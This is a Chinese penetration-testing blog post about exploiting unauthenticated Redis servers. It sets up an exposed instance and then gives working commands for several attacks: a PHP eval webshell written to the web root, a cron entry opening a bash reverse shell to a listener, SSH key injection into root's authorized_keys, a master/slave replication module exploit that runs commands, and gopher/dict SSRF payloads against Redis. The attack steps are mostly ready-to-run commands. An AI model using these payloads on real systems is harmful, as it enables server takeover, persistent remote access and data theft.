当前位置:   article > 正文

【渗透测试】redis漏洞利用

【渗透测试】redis漏洞利用

redis安装及配置

wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf
redis-3.2.0.tar.gz cd redis-3.2.0 make cp
/root/redis-6.2.6/redis.conf /usr/local/redis/bin/ cd
/usr/local/redis/bin/ vi redis.conf
#修改内容如下:
#protected-mode 的值从 yes 修改成 no
#bind 127.0.0.1 改成bind 0.0.0.0 ./redis-server redis.conf

关闭防护模式
在这里插入图片描述
修改成 0.0.0.0 ,修改白名单为任意IP地址
在这里插入图片描述
redis在设有防护模式的场景下,无法输入有效命令
flushall为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
在这里插入图片描述

攻击利用

redis基本命令

#连接redis
redis-cli -h 192.168.1.108

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info

将变量x的值设为test:
192.168.1.108:6379>set x “hello”

获取设置的某个变量的值:
192.168.1.108:6379>get x

查看所有键:
192.168.1.108:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename

写入WebShell

set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述在这里插入图片描述

写入计划任务

先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
redis-cli -h 192.168.1.108
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述在这里插入图片描述## 写入 SSH公钥

在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa ip
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

在这里插入图片描述
在这里插入图片描述

redis 4.x/5.x 主从复制导致的命令执行

redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞环境采用的是vulhub
redis主从复制命令执行漏洞脚本下载地址
脚本命令:

python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"
  • 1

在这里插入图片描述

利用gopher协议打redis

在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
脚本下载地址
在Gopherus-master/scripts文件夹中找到Redis.py
default 修改值为 “<?php eval($_GET['cmd']); ?>”
在这里插入图片描述利用脚本生成POC在这里插入图片描述使用curl写入Webshell

在这里插入图片描述测试漏洞攻击成功
在这里插入图片描述

利用dict协议打redis

dict探测端口开放情况
对于未开放的端口,均会回复:
Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
在这里插入图片描述dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
对于空格,可以使用URFL编码"%20"或者":"替代
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/283988
推荐阅读
相关标签
  

闽ICP备14008679号